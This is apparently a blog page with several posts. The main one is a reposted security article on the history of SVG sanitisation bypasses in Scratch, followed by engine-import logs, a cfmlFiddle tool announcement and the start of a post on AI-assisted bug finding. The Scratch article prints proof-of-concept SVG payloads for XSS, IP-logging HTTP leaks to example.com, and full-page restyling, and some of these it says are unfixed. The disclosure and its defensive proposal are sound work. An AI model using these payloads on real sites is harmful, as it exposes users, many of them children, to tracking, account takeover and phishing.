Showing posts with label testing. Show all posts
Showing posts with label testing. Show all posts

The woes of sanitising SVGs

Mike's Notes

MIT Scratch is a really great way to learn to code visually. A great article by Thomas Weber about some things with SVG use that need fixing.

Resources

References

  • Reference

Repository

  • Home > Ajabbi Research > Library > Subscriptions > Amazing CTO
  • Home > Handbook > 

Last Updated

07/05/2026

The woes of sanitising SVGs

By: Thomas Weber
Muffin Ink: 11/04/2026

Worked on TurboWarp, Scratch Addons, forkphorus.

Scratch has a long history of SVG-related vulnerabilities. The source of these is that Scratch parses user-generated (ie. attacker-controlled) content into an <svg> element and appends it into the main document for various operations (eg. measuring SVG bounding box in a more reliable way than viewbox or width/height).

No matter how briefly the SVG remains in the main document, this is an inherently unsafe operation. Scratch's approach to making this safe has been to build increasingly complex infrastructure around parsing the SVG and the markup within to remove dangerous parts.

I think Scratch's approach to SVG sanitization is doomed. To explain, we have to take a trip through the history of SVG sanitization in Scratch to see how well it has worked so far.

2019: XSS via <script> tag

In 2019, a few months after the initial release of Scratch 3, Scratch discovered that SVGs can contain <script> tags that Scratch would cause to be executed when the SVG loads. This is known as an XSS.

In Scratch terms, an XSS allows an attacker to take actions on behalf of anyone that loads their project. For example, the attacker can post comments, delete projects, or otherwise try to take over the victim's account. In Scratch Desktop, XSS is elevated to arbitrary code execution because Scratch Desktop enables Electron's dangerous Node.js integration feature. (TurboWarp Desktop has not enabled that feature since v0.2.0 from March 2021)

Example from Scratch's test suite:

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <circle cx="250" cy="250" r="50" fill="red" />
  <script type="text/javascript"><![CDATA[
      alert('from the svg!')
  ]]></script>
</svg>

This was fixed by using a regular expression to remove script tags.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2020: XSS via oversights in previous fix (CVE-2020-7750)

In 2020, apple502j discovered that XSS is still possible. It turns out that the previous fix is utterly defective and can be bypassed by capitalizing <SCRIPT> because the regex is case-sensitive, among several other ways to bypass it. Even if the regex were implemented correctly, it would still not work because there are other ways to embed JavaScript in an SVG. For example, one can use an inline event handler:

<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <foreignObject x="1" y="1" width="1" height="1">
        <img
            xmlns="http://www.w3.org/1999/xhtml"
            src="data:any invalid URL"
            onerror="alert(1)"
        />
    </foreignObject>
</svg>

This was fixed by using DOMPurify to remove scripts from the SVG before scratch-svg-renderer appends it into the document.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2022: HTTP leak via <image> href

In 2022, it was discovered that using the href property on an <image> element, an attacker can create an SVG that will invoke an external request when it is loaded. It turns out that while DOMPurify removes executable code, it does not protect against HTTP leaks because "there are too many ways of doing that and our tests showed that it cannot be done reliably".

In Scratch terms, an HTTP leak means that a Scratch user can log the IP of anyone that loads their project, possibly revealing information such as location or school district. The victim would not need to click on any links; the IP log happens just by loading the project. Scratch seems to consider this a security bug, and I agree.

Example:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://example.com/ping"/>
</svg>

This was fixed by adding DOMPurify hooks to remove href properties from all elements if the URL refers to a remote website.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2023: HTTP leak via CSS @import

In 2023, it was discovered that using a CSS @import statement inside of a <style> element, an attacker could create a project that invokes external requests when the project loads. Example:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url("https://example.com/ping");
  </style>
</svg>

This was fixed by integrating a CSS parser written in JavaScript to remove dangerous parts of the CSS. They would parse all stylesheets contained in SVGs, remove any @import statements, and convert the CSS back to a string if any changes were made so that the dangerous stuff is removed.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2024: XSS via Paper.js

In 2024, I discovered an XSS in Paper.js, a library Scratch uses in the costume editor. It turns out that while Scratch sanitized SVGs before working on them in scratch-svg-renderer, unsanitized SVGs were still being passed to Paper.js. This has largely the same impact as the 2020 scratch-svg-renderer XSS, but occurs when using the costume editor instead of when initially opening a project. Example:

<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" data-paper-data="any invalid JSON">
    <foreignObject x="1" y="1" width="1" height="1">
        <img
            xmlns="http://www.w3.org/1999/xhtml"
            src="data:any invalid URL"
            onerror="alert(1)"
        />
    </foreignObject>
</svg>

This was somewhat fixed on an extremely delayed timeline by extending the existing SVG sanitization code to run when loading an SVG, not just when processing it in scratch-svg-renderer. This means that Paper.js will only receive SVGs that have already been sanitized.

I say "somewhat fixed" because I'm not sure if that sanitization ever runs for server-downloaded SVGs. Scratch support told me they "have protections against this that are handled on our server side" which may make that redundant. I have never seen any evidence of such protections while developing proof-of-concepts, but maybe they are real.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2025: HTTP leak via CSS url()

In 2025, it was discovered that using url() inside of certain CSS rules, an attacker can create an SVG that will invoke an external request when it is loaded. Examples:

<svg xmlns="http://www.w3.org/2000/svg">
    <!-- inline style -->
    <rect style="background-image: url(https://example.com/ping)" />
    <!-- can also use a <style> element -->
    <style>
        .img {
            background-image: url("https://example.com/ping");
        }
    </style>
    <rect class="img" />
</svg>

This was fixed by substantially expanding the SVG sanitization code to also search for any usage of url() and remove any styles or attributes referencing external URLs.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2026: HTTP leak via several bugs in the previous code

In 2026, it was discovered that using url() inside of certain CSS rules, it is still possible for an attacker to create an SVG that will invoke an external request when it is loaded. It turns out there were at least three unique bugs that each allowed an HTTP leak:

  • Did not account for CSS allowing one to write out url(...) using escape codes
  • Did not handle a style attribute having more than one url(...) inside it, where the first one is safe but the second one is not
  • Did not handle url() defined in a CSS variable and referenced via var(--name)

Examples:

<svg xmlns="http://www.w3.org/2000/svg">
    <circle fill="\75\72\6c(https://example.com/ping)" />
    <rect style="/* url(#safe_url) */ background-image: url(https://example.com/ping)" />
    <style>
        :root {
            --example: url(https://example.com/ping);
        }
        .img {
            background-image: var(--example);
        }
    </style>
    <rect class="img" />
</svg>

This was fixed by adding a substantial amount of additional complexity around code that was already way too complex.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2026: Full page restyling via long transitions

In 2026, it was discovered that through clever use of very long transitions and forcing the browser to restyle all elements, an attacker can apply arbitrary styles to the full Scratch page that last until refresh. Most uses of this have been "fun" things, but here's a few ideas about more evil things you might be able to do:

Hiding the report button.

Making the like/favorite buttons cover the entire page, so that users are tricked into clicking them.

Display text telling the user that they need to open a website in a new tab to "verify" their account (some phishing page). Users are likely to trust the instructions because the message is coming from the real scratch.mit.edu.

Example project (not mine): https://scratch.mit.edu/projects/1299571218/

This will probably get fixed at some point, but today what you'll see is this:

Scratch project page, but all the page background colors are very obviously wrong.

This project uses two SVGs. The first one is the "trigger":

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <rect x="0" y="0" width="200" height="100" fill="#111"></rect>
  <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle">
    Trigger
  </text>
  <style>
    /* Force browser to recalc styles to activate first SVG */
    *, * *, * * *, * * * * {
      transform: translateX(1px) scale(10000) rotateY(45deg) perspective(1cm) !important;
      transition: all 9999s ease !important;
      filter: blur(0px) !important;
    }
  </style>
</svg>

The second one contains the styles to display:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <rect x="0" y="0" width="200" height="100" fill="#111"></rect>
  <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle">
    Styles
  </text>
  <style>
    /* Global background blue */
    * {
      background-color: blue !important;
      color: white !important;
    }
    /* Project instructions/description styling */
    .project-description, .instructions-container {
      background-color: yellow !important;
      color: black !important;
      border: 10px solid red !important;
      transform: scale(1.1) !important;
    }
  </style>
</svg>

I won't pretend to fully understand what's going on here or why it works non-deterministically, but my general understanding is:

The trigger SVG applies transform and filter to every element in the document to forcibly make the browser recompute all styles right away, applying styles from the other SVG.

The trigger SVG applies a very long transition so that when the other SVG is removed, the styles will stick around for the duration of the "transition"

This is not fixed.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.

2026: HTTP leak via image-set()

I reported this one to Scratch in 2025. They didn't fix it, so whatever, I'll disclose it here. Any reasonable disclosure period lapsed 6 months ago.

Instead of using url(), an attacker can use image-set() to create an SVG that will invoke an external request when it is loaded. Examples:

<svg xmlns="http://www.w3.org/2000/svg">
    <!--
        image-set(...) can cause external resources to be requested without using url() at all.
    -->
    <style>
        .image-set-with-string-url {
            background-image: image-set("https://example.com/ping" 1x);
        }
    </style>
    <rect class="image-set-with-string-url" />
    <!--
        image-set(url(...)) works the same as image-set(...).
        This already gets blocked by the existing sanitization.
    -->
    <style>
        .image-set-with-inner-url-function {
            background-image: image-set(url(https://example.com/ping) 1x);
        }
    </style>
    <rect class="image-set-with-inner-url-function"></rect>
    <!--
        image-set() can also be used in inline style attributes.
    -->
    <rect style="background-image: image-set('https://example.com/ping' 1x)" />
</svg>

This is not fixed.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.

20XX: HTTP leak via new CSS features

I also reported this one to Scratch in 2025. This bug actually doesn't work today, but will in the future if browsers ever implement all of CSS Units Level 4 or CSS Images Level 4. Today, Ladybird is the only browser to implement either of these, but major browsers could implement them someday as well.

Instead of using url(), an attacker can use src() or image() to create an SVG that makes an external request when it loads. Examples:

<svg xmlns="http://www.w3.org/2000/svg">
    <!--
        Everything in this file relies on features that are defined in the browser specs, but not yet implemented in any browser.
        In theory, future browsers might initiate requests when they see these styles.
    -->
    <!--
        CSS Units Level 4 defines src(...) as an alternative to url(...).
        Unlike url(), src()'s URL can be any expression, not just a constant string.
        Reference: https://www.w3.org/TR/css-values-4/#example-a2ee15a6
        Not implemented by any major browser today. (Only implemented in the experimental Ladybird browser)
    -->
    <style>
        .src-constant {
            background: src('https://example.com/ping');
        }
        .src-variable {
            --url: 'https://example.com/ping';
            background: src(var(--url));
        }
    </style>
    <rect class="src-constant" />
    <rect class="src-variable" />
    <!--
        CSS Images Level 4 defines image() as an alternative to url() for images.
        Reference: https://www.w3.org/TR/css-images-4/#image-notation
        Not implemented by any major browser today.
    -->
    <style>
        .image {
            background: image('https://example.com/ping', black);
        }
    </style>
    <rect class="image" />
    <!-- Same as above examples, but using inline styles -->
    <rect style="background: src('https://example.com/ping');" />
    <rect style="--url: 'https://example.com/ping'; background: src(var(--url));" />
    <rect style="background: image('https://example.com/ping', black);" />
</svg>

This is not fixed.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.

This is unsustainable

Stacking more and more complexity into sanitization is clearly a doomed approach. We are more than 5 major revisions deep and yet there are still known holes. People are actively sharing projects on the Scratch website bypassing SVG sanitization. And the moment browsers decide to implement the latest CSS specs, even more holes will open up.

Furthermore, not all of these problems have clear solutions. For full page styling, both SVGs seem completely benign: there is no JavaScript or references to external resources. The fix would likely be to remove transition styles since the transitions would never run in Scratch anyway, but are you sure that's sufficient? Will you remember to also remove all the vendor-prefixed versions of transition? What about animation styles?

Some other possible cases that might allow more bypasses in the future:

css-tree (the library Scratch uses to parse CSS) and the real CSS parsers in browsers might not completely match. If so, css-tree might parse CSS such that everything looks fine and thus nothing gets removed, but then the browser's real parser does recognize external content.

Advanced new CSS features such @property or native nesting that css-tree versions might not be able to meaningfully parse without constant updates.

Browsers can always add new functions that can reference external content as they have already done with image-set() and the spec implies will happen for src() and image(). How will you keep up with the constant change in these specs to evaluate every new function and see if it could somehow allow referencing external content?

An alternative

TurboWarp (a Scratch fork I work on) was unaffected by the 2026 HTTP leaks and full page restyling issue. This isn't because I found all the clever ways for an SVG to do something bad; in fact I actually deleted the CSS sanitization code entirely to make packaged projects 400KB smaller.

I implemented an alternative approach of sandboxing the SVG inside of an iframe. First, we set up an iframe with a sandbox property of allow-same-origin. This will block script execution inside the iframe, but still let us interact with the contents inside.

Second, we set up the iframe with the following hardcoded HTML:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline' data:; font-src data:; img-src data:">
    </head>
    <body></body>
</html>

The inline Content-Security-Policy is set up to block all scripts and only allow loading safe resources from safe data URLs. We also still use DOMPurify to remove obviously evil things from the SVG. We then put the iframe into the document offscreen somewhere so that the measurement APIs Scratch needs will still work.

This approach gives us some very nice properties:

The browser uses its pre-existing code to do the hard part for us.

TurboWarp doesn't need to know about all the ways for an SVG to make a request. Your browser already knows this and will enforce it for any new APIs that get added.

Real-world CSP implementations are not perfect and have holes. However, those holes generally are weird edge cases that require the attacker to already be executing JavaScript in some way. Those vulnerabilities are also considered browser security issues so they have bug bounties attached to them.

The SVG can't affect the main document.

Consider the case of the full page restyling. Because the SVG is trapped inside of an iframe, the only thing it can restyle is the iframe. The styles in the iframe do not matter, so that's perfectly fine.

You can find our code here:

scratch-svg-renderer fork

paper.js fork

Maybe you can do some other interesting stuff with shadow DOM or other web APIs, but we found that the iframe is working fine for us.

The below sections will cover any new issues I become aware of after publication.

2026-04-12: Claude finds HTTP leak via CSS nesting relaxed syntax

After publishing this, I was curious how well current language models are at finding these bugs. I told Claude Opus 4.6 to clone the scratch-editor repo, look at the recent SVG renderer changes, and see if there were any holes. Results were interesting:

Claude discovered on its own that image-set(...) is not sanitized and can cause HTTP leaks.

Claude discovered a new issue not described in the original version of this post.

The bug involves CSS nesting, which can appear in two forms. The nested style can prefix the selector with an & or instead just not prefix it (the latter being known as "relaxed" syntax). Modern browsers interpret both of the below identically.

g {
    & rect {
        background-image: url(https://example.com/ping);
    }
}
g {
    rect {
        background-image: url(https://example.com/ping);
    }
}

css-tree is capable of parsing the &-prefixed version into a meaningful syntax tree that Scratch can sanitize. However, it turns out that css-tree does not know how to parse the relaxed version. The entire div { ... } block is parsed as a "raw text" node which Scratch's code will not sanitize. Full example SVG:

<svg xmlns="http://www.w3.org/2000/svg">
    <style>
        g { rect { background-image: url(https://example.com/ping); } }
    </style>
    <g><rect></rect></g>
</svg>

Earlier in this post, I mentioned that "css-tree and the real CSS parsers in browsers might not completely match". This is a real-world example of that kind of bug allowing CSS to bypass sanitization. Note that css-tree currently has 48 open issues and certainly many more unknown ones. I believe depending on css-tree to be a perfect parser is a hopeless path that will continue to result in more vulnerabilities. TurboWarp's SVG sandbox fixed this bug before I even knew it existed.

This is not fixed. The css-tree issue for this bug has been open since December 2023.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.

20 Engines

Mike's Notes

While I finish off testing the Pipi System Engine (sys), here is the plan for the next stage.

Update 27/04/2026

Today, I have also been setting up some new twin 27" monitors to help with coding. I need larger 16pt Arial or Noto Sans font sizes these days.😎 Hopefully, better visuals will mean I will not get so tired.

Update 03/05/2026

The list has been pruned to 18 engines now, not 20.

Update 23/05/2026

Two more engines were added to the list, bringing the total back to 20.

Update 27/05/2026

Nest Engine (nst)  renamed as Nestspace Engine (nst)

Update 17/06/2026

DevOps Engine (dvp) added, bringing the total to 21. The order has also been changed. Going very well. This fix alone will speed up development 10x.😎

Resources

References

  • Reference

Repository

  • Home > Ajabbi Research > Library >
  • Home > Handbook > 

Last Updated

17/06/2026

20 21 Engines

By: Mike Peters
On a Sandy Beach: 26/04/2026

Mike is the inventor and architect of Pipi and the founder of Ajabbi.

Project

The project is to import the 18 20 engines necessary for Pipi to run in deterministic mode, and self-manage with a minimal set of internal features, no adaptation or self-evolution. That will come later, when many more engines are imported, contained inside other engines, and probabilistic behaviour begins.

Variables

All of these engines have worked for years (some with origins dating back 26 years) and are mature and stable, but have been migrated from a laptop to a data centre, where the host environment differs. I forgot to sort that out first. 😎 The Nestspace Engine (nst) was rapidly invented to solve that problem, but the variables generated by the Nestspace are also causing name clashes.

Process

Each engine needs the same minor tweak upon import. I'm also carefully checking all spelling in each engine. Completing descriptions for future self-documentation.

Logs

Each engine is then left running while I watch the logs. Once the log engine is imported, logs can be visualised in Mission Control using third-party open-source tools. This will speed things up a lot. Eventually, the logs will feed feedback loops as this beast scales.

System Engine (sys)

The System Engine (sys), on its own, is like the empty skin of an elephant, to be stuffed and used in a museum exhibit. It looks like an elephant, but it is not alive.

The System Engine has intrinsic properties. It is designed to contain all other engines. As the engines are added and interact, the System Engine will come to life.

It's the whole that is greater (George Ellis) or lesser (Terrence Deacon) than the sum of the parts.

21 Engine import list

In this order.

  1. System Engine (sys)
  2. Nestspace Engine (nst)
  3. JVM Engine (jvm)
  4. CGI Engine (cgi)
  5. Namespace Engine (nsp)
  6. Data Engine (dta)
  7. Code Engine (cde)
  8. Variables Engine (var)
  9. Versioning Engine (ver)
  10. DevOps Engine (dvp)
  11. Render Engine (rnd)
  12. Template Engine (tem)
  13. Log Engine (log)
  14. Configuration Engine (cnf)
  15. Conductor Engine (cnd)
  16. Directory Engine (dir)
  17. Node Engine (nde)
  18. CMS Engine (cms)
  19. Core Engine (cor)
  20. Factory Engine (fac)
  21. Page Engine (pge)

Pipi is the IDE

I built Pipi using Pipi, so I'm stuck in chicken-and-egg land at the moment. The more engines are imported, the easier this will get. I have a rough idea of the import order, and luckily, I can use Synethesia to run simulations, which are usually very fast and accurate. After all, it's how I build everything.

Pipi Editions

Each engine is like a different kind of Lego brick, and each Pipi is built out of hundreds of these bricks. The 4 Editions are built with the same bricks, combined in different ways. The Instances of any Edition are built exactly the same way, but their databases, with the same data models, will store different histories, weights, parameters, etc., as they adapt and evolve.

DevOps Engine (dvp)

The DevOps log below is currently maintained manually, but will be generated automatically once the DevOps Engine (dvp) is back up and running. These logs will be automatically published on the Ajabbi Developer website using an interactive format with more detail.


DevOps log (edit)

A record of work done.

NZ DateTime Action Engine Status
2026-05-07 20:01 Edit 18 engines - short and long descriptions. Complete





Test System Engine (sys)





Create Nestspace Engine (nst) - Code for Linux vs Windows path delimiters.

Test Nestspace Engine (nst)




21/05/2026 12:35 Create JVM Engine (jvm) Completed

Edit JVM Engine (jvm) - configuration
21/05/2026 09:12 Edit JVM Engine (jvm) - variables Completed

Edit JVM Engine (jvm) - spelling

Test JVM Engine (jvm)




22/05/2027 11:17 Import CGI Engine (cgi) Completed
22/05/2026 18:46 Edit CGI Engine (cgi) - variables Completed

Test CGI Engine (cgi) - spelling

Test CGI Engine (cgi)





Test System Engine (sys)





Test Namespace Engine (nsp)





Test System Engine (sys)





Import Render Engine (rnd)

Edit Render Engine (rnd) - variables.

Edit Render Engine (rnd) - spelling.

Test Render Engine (rnd)





Test Render Engine (rnd) - run Nest Engine (nst) templates to create a nest.





Test System Engine (sys)





Import Template Engine (tem)

Edit Template Engine (tem) - variables.

Edit Template Engine (tem) - spelling.

Test Template Engine (tem)





Import Template Engine (tem) - import temporary nest templates





Test System Engine (sys)





Test Render Engine (nst) + Template Engine (tem) + Nest Engine (nst)





Test System Engine (sys)





Import Variables Engine (var)

Edit Variables Engine (var) - variables.

Edit Variables Engine (var) - spelling.

Test Variables Engine (var)





Test System Engine (sys)





Create Variables Engine (var) - quick & dirty CRUD editor.





Create Temporary web form UI for each engine

Test Temporary web form UI for each engine





Import Log Engine (log)

Edit Log Engine (log) - variables.

Edit Log Engine (log) - spelling.

Test Log Engine (log) - CRUD log file formats

Render Log Engine (log) - logs





Import Graphing library for logs

Create Embed visualisations on Mission Control web pages.





Test System Engine (sys)





Import Data Engine (dta)

Edit Data Engine (dta) - variables.

Edit Data Engine (dta) - spelling.

Test Data Engine (dta)





Test System Engine (sys)





Import Configuration Engine (cnf)

Edit Configuration Engine (cnf) - variables.

Edit Configuration Engine (cnf) - spelling.

Test Configuration Engine (cnf)





Test System Engine (sys)





Import Versioning Engine (ver)

Edit Versioning Engine (ver) - variables.

Edit Versioning Engine (ver) - spelling.

Test Versioning Engine (ver) - automatic versioning.

Render Versioning Engine (ver) - version logs





Test System Engine (sys)




























cfmlFiddle - Compare ColdFusion, Lucee, and BoxLang Side-by-Side

Mike's Notes

Thank you, James. This will help with code testing.

Resources

References

  • Reference

Repository

  • Home > Ajabbi Research > Library >
  • Home > Handbook > 

Last Updated

23/04/2026

cfmlFiddle - Compare ColdFusion, Lucee, and BoxLang Side-by-Side

By: James Moberg
myCFML: 16/04/2026

Mike is the inventor and architect of Pipi and the founder of Ajabbi.

I built a local CFML playground that runs 10 engines at once

I've been writing CFML for a long time. Long enough to remember when testing something meant editing a file, refreshing the browser, and hoping the server hadn't crashed. We have better tools now, but I kept running into the same problem: I'd want to check how something behaves on CF2021 vs CF2025, or whether Lucee handles a date function differently than Adobe, and there wasn't a good way to do that without maintaining a bunch of separate installs.

The online tools help. CFFiddle.org, TryCF.com, and Try BoxLang are all useful when you need a quick test. But I kept hitting limitations. CFFiddle requires a social login to use some features. TryCF doesn't indicate which patch version it's running against. Neither lets you compare engines side-by-side. And both go offline sometimes, usually right when I need them. :(

So I built cfmlFiddle.

What it is

cfmlFiddle is a self-hosted CFML playground. It runs on your machine through CommandBox. You write code in an Ace Editor, pick an engine (or all of them), click Run, and see the output. If you picked multiple engines, you see all the results stacked, side by side, or tabbed.

cfmlFiddle screenshot

The default config ships with 10 server definitions:

  • Adobe ColdFusion 2016, 2021, 2023, 2025
  • Lucee 5, 6, 7
  • BoxLang (native, Adobe compat, Lucee compat)

You start whichever ones you need. Most of the time I run two or three.

The part I actually wanted

My main gripe with the online tools was never being able to pin a version. If I'm debugging something a client reported on CF2021.0.14, I need to know what CF2021.0.14 does, not whatever patch the hosted service happens to be running this week.

With cfmlFiddle, each engine version is a CommandBox server.json file. You control which version is installed, down to the patch. You can keep CF2021.0.14 around for months if you need it, or install CF2025 the day it drops.

The other thing: running code that the hosted services block. File operations, HTTP calls, Java objects, custom tags. cfmlFiddle doesn't restrict anything. It's your machine.

How the comparison works

Click "Run All Online" and cfmlFiddle sends your code to every running engine simultaneously via cfhttp. Each engine executes the same temp file from a shared webroot. The results come back with timing info, the engine name, and the actual patch version, so you can see exactly what ran where.

There's also an "Append" mode. Check the box and each run stacks on top of the previous results, so you can tweak your code and compare iterations without losing the earlier output.

Interactive mode

I wrote a test script with a <form> and immediately realized the form couldn't post back to itself. The result was static HTML in a div. The form action had nowhere to go.

cfmlFiddle now auto-detects forms in your output. When it finds one (or you check the Interactive box), it renders the result in a sandboxed iframe pointing directly at the payload file on the target engine. The form posts back to itself, processes the data, and returns the result. Multi-step scripts just work.

Under the hood

The status bar uses Server-Sent Events instead of polling. The heartbeat checks all engines with raw TCP socket connections (~50ms total for 10 servers) and streams updates to the browser in real time. It falls back to polling if SSE doesn't work on a particular engine.

Config lives in a JSON file above the webroot. You can change settings without editing CFML code.

All the frontend libraries (Ace, jQuery, SweetAlert2, jQuery contextMenu) ship locally in an assets/vendor/ directory. No CDN dependency by default, though you can flip a config switch if you prefer CDN.

Server management is built into the UI. Click the status bar to start, stop, or inspect engines. Left-click any server for a context menu with direct links to its admin panel, homepage, and documentation.

Session management

Every time you run code, cfmlFiddle saves the payload file with a timestamp. Click the Session button in the toolbar to see a list of everything you've run. Click any entry to reload it into the editor. When you're done, Archive All zips everything up and clears the working directory.

I kept losing track of what I'd tested ten minutes ago. Now I just open the session list and pick it.

The smaller stuff

There's a light/dark theme toggle. It picks up your OS preference by default, and the Ace editor switches to match. I bounce between light and dark depending on the time of day, so this was mostly for me.

You can import code from a GitHub Gist URL. Paste the link, it pulls the first file and drops it in the editor. Useful when someone shares a snippet and you want to see what it does on three engines before replying.

Snippets work the other direction too. Save whatever's in the editor as a named file, reload it later from the dropdown.

Each result card has a refresh button that re-executes and updates the timing, plus a dismiss button to toss results you don't need. Small thing, but it adds up when you're iterating.

We also put some work into keyboard accessibility: skip link, visible focus indicators, arrow keys on the splitter, ARIA roles on the toolbar and status bar.

Getting it

cfmlFiddle is open source under the MIT license.

Website: cfmlFiddle.com Source: GitHub

You need CommandBox installed. Clone the repo, edit config.json with your box.exe path, run box task run launchCFMLFiddle, and pick an engine. It opens in your browser.

cfmlFiddle is a myCFML.com project, sponsored by SunStar Media.

Testing the Pipi System Engine (sys)

Mike's Notes

The next long batch of work starts today. I'm working this out as I go, and I don't yet know how long this will take. The plan will likely change. I hope the start will be the hardest part, and then it will get easier. But I have been wrong before. 😎😎😎😎😎😎😎

Dwight D. Eisenhower’s philosophy on planning is best summarized by his famous quote,

"Plans are worthless, but planning is everything".

He emphasized that while rigid, written plans fail upon first contact with reality (or the enemy), the process of planning prepares leaders to adapt, coordinate, and react intelligently to unexpected emergencies. - Wikipedia

Big picture

I want to double-check everything as I go and complete or archive any unfinished work without doing upgrades.

Mrs Grammarly

And fix all my spelling mistakes. Some of this was built years before I had Mrs Grammarly and is only now being discovered. A lot of spelling mistakes. Oh dear!. 😎😎

Mrs. Grammarly's Last Request

Noisy, noisier, noisiest
Our teacher's last request
Before she took the plane
To somewhere warm in Spain
Because her nerves were broken
By words so loudly spoken
For twenty-five years without
A respite, there's no doubt
Just remember this rule please
She said with great unease
Drop the y and add an i
When comparing things whereby
You'll cheer this poor old teacher
And peace will finally reach her.
- Old Faithful

Speed is king

Go as fast as hell. Trust Pipi's ability to self-repair.

Update 22/04/2026

Again, as with the recent Pipi Nest update, progress is painfully slow but steady. I now strongly suspect that the changes I need to make to System Engine (sys) will apply to all engines. Once the necessary solution is found, every engine will be easily altered. So very slow at the beginning, then very fast.

Update 23/04/2026

Its definitly a problem with named variable clashes and variable scopes. Now I know what to fix.

Update 29/04/2026

I'm having a break while the mental simulations run.

Update 19/05/2026

Now I know exactly how to fix it. The variable scopes have boundaries, with translation between them. The Nest revisions will also enable auto-installs on VMs, Docker, Windows, and Linux servers. Variable naming is now 100% predictable and can be automated.

Update 27/05/2025

Nest Engine (nst) renamed as Nestspace Engine (nst)

Resources

References

  • Reference

Repository

  • Home > Ajabbi Research > Library >
  • Home > Handbook > 

Last Updated

27/05/2026

Testing the Pipi System Engine (sys)

By: Mike Peters
On a Sandy Beach: 21/04/2026

Mike is the inventor and architect of Pipi and the founder of Ajabbi.

Anatomy 101

The Pipi System Engine (sys) is like the whole (hence the name "loki"). It has an outer boundary and is built from hundreds of other kinds of engines nested up to 27 layers deep. There can be many copies of each engine type. There are also hundreds more engines waiting to be imported from the Pipi 6, 7, and 8 archives.

Engine-Agent Duality

Every engine is also an autonomous agent.

  • Engines are deterministic
    • Stateful
    • Imprinted by the path taken
    • Formal Logic
  • Agents are probabilistic
    • No AI tokens
    • No prompts
    • Dialectical logic

Nestspace

The Nestspace is a container.

It acts as an interface between;

  • The external environment
    • Computer
    • O/S
    • Application Server
  • Pipi System Engine (sys)

The Nestspace has hidden internal NEST Variables like;

  • NEST_JAVA_EDITION
  • NEST_NEST_NAME
  • NEST_SYSTEM_OS

The only engine the Nestspace can communicate with is the Pipi System Engine (sys).

Test Process

It makes sense to move each engine one by one and check that messaging is working using the Pipi Variables.

The first Engine to test is the Pipi System Engine (sys). Once tested, it will be left running, with live logs for monitoring.

Down the rabbit hole

Its internal engines will then be added one by one for testing and commissioning.  Most engines should be good to go, but everything needs to be carefully checked.

Each engine consists of one or more engines. These engines can communicate with each other. There are internal structures that act as membranes and pathways. Each engine can also operate at reduced capacity if it is the only engine, which will help with staging and initial testing. Then watch the logs as more engines are slowly added.

Critical threshold

About 20 of these engines are necessary for emergent behaviour to become sufficiently dominant for self-management to operate reliably. Those are the engines I will start on first. Once a working system is back in place, they will be able to help speed up the import of the remaining engines via the Agent Workspace UI. A set of simple web forms should do it.

Engine Logs

Things that I have seen before to watch out for include

  • Power Laws
  • Fractals
  • Noise
  • and other crazy stuff 😎
It's Pipi's patterns of behaviour that fascinate me. Maybe it's from the feedback loops?

Mission Control

I need to find a light, open-source graphing tool that can visualise these logs and be embedded on web pages. Like Houston, there will be a big live screen monitoring everything. As progress is made, A video camera can point at the screen to live-broadcast on YouTube for anyone who's curious or for online talks. This maintains a physical network separation of the data centre from the internet.


DevOps log (edit)

A record of work done.

NZ DateTime Action Engine Status
2026-04-21 11:58 Import System Engine (sys). Complete
2026-04-22 11:44 Edit System Engine (sys) - Application.cfc. Complete
2026-04-22 13:24 Edit System Engine (sys) - reassign VARIABLE scopes. Complete
2026-04-22 13:31 Test System Engine (sys) - connect to Nest /9cc/. Success
2026-04-22 13:45 Edit Rename /pipi/pipi_system.cfm as pip/pipi_version.cfm. Complete
2026-04-22 13:48 Edit Add /sys/pipi_system.cfm. Complete
2026-04-22 18:13 Move Migrate databases. Complete
2026-04-22 18:47 Test System Engine (sys) - Consistent variable names by checking the Namespace Engine (nsp). Success
2026-04-24 10:55 Create Nestspace Engine (nst) Complete
2026-04-24 10:58 Import Namespace Engine (nsp) Complete
2026-04-25 17:19 Test Nestspace Engine (nst) - Accurate nest build definitions. Complete
2026-04-25 20:49 Create Nestspace Engine (nst) - Temporary templates. Complete
2026-04-26 07:44 Test Namespace Engine (nsp) Complete
2026-05-18 08:21 Edit Rename Nestspace files. Complete
2026-05-19 11:56 Edit Restructure Nestspace code. Complete
2026-05- Test Nestspace auto-install
2026-05- Test Namespace Engine (nsp) - Sync variable names.
2026-05- Edit Nestspace <> Instance <> Version <> System - Change variable outputs.
2026-05- Test Nestspace <> Instance <> Version <> System.

Claude Code Used to Find Remotely Exploitable Linux Kernel Vulnerability Hidden for 23 Years

Mike's Notes

Great news. Use AI to go find all the vulnerabilities and fix them.

Great example from Mozilla:

"Since February, the Firefox team has been working around the clock using frontier AI models to find and fix latent security vulnerabilities in the browser. We wrote previously about our collaboration with Anthropic to scan Firefox with Opus 4.6, which led to fixes for 22 security-sensitive bugs in Firefox 148.

